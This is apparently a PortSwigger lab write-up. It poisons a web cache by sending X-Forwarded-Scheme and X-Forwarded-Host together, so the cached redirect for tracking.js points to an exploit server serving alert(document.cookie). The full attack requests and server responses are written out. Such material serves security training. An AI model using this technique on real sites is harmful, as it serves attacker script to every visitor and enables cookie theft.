| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Web Cache Poisoning — Multiple Unkeyed Headers |
| Difficulty | Practitioner |
| Objective | Poison the cache with a response that executes alert(document.cookie) in the visitor's browser |
Web Cache Poisoning with Multiple Headers¶
I intercepted a request to / and ran Param Miner "Guess headers" on default settings.
Param Miner reported:
Cache poisoning: 'x-forwarded-scheme'. Diff based cache poisoning. Good luck confirming
The probe request that triggered it sent X-Forwarded-Scheme with a test value, and the server responded with a 302 redirect:
HTTP/2 302 Found
Location: https://0a7b007304bdcc9a801e3030002b0063.web-security-academy.net/ikxwirw6.jpg
X-Forwarded-Scheme is a header added by proxies indicating the original protocol before the proxy intercepted the connection. The backend uses it to decide whether to issue a redirect — if the value isn't https, it redirects to the same URL but forces HTTPS. The scheme value affects the redirect Location, which is where the poisoning opportunity sits.
With a cache buster, the response confirmed the cache was active with Cache-Control and Age headers.
The home page also imports /resources/js/tracking.js — the same pattern as the first cache poisoning lab. If that resource request can be redirected to the exploit server, arbitrary JavaScript executes in the visitor's browser.
I set up the exploit server to serve the payload at the expected path:
file: /resources/js/tracking.js
body: alert(document.cookie)
The core distinction from the previous labs is that neither header alone is enough here — X-Forwarded-Scheme triggers the redirect decision, and X-Forwarded-Host controls where that redirect points. Both are required:
GET /resources/js/tracking.js HTTP/2
Host: 0a7b007304bdcc9a801e3030002b0063.web-security-academy.net
X-Forwarded-Scheme: teto
X-Forwarded-Host: exploit-0a9500f90493cc3480f02f04017000f4.exploit-server.net
Response:
HTTP/2 302 Found
Location: https://exploit-0a9500f90493cc3480f02f04017000f4.exploit-server.net/resources/js/tracking.js
Following the redirect confirmed the exploit server served the payload correctly:
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
Content-Length: 22
alert(document.cookie)
Refreshing /:
Alert fired. What gets cached here is a 302 redirect response pointing at the exploit server — not a 200 with the malicious content inline. Every subsequent user requesting the same resource gets redirected to load the malicious script from our server, which is what makes the poisoning stick even after the cache entry is refreshed.
Lab solved o.o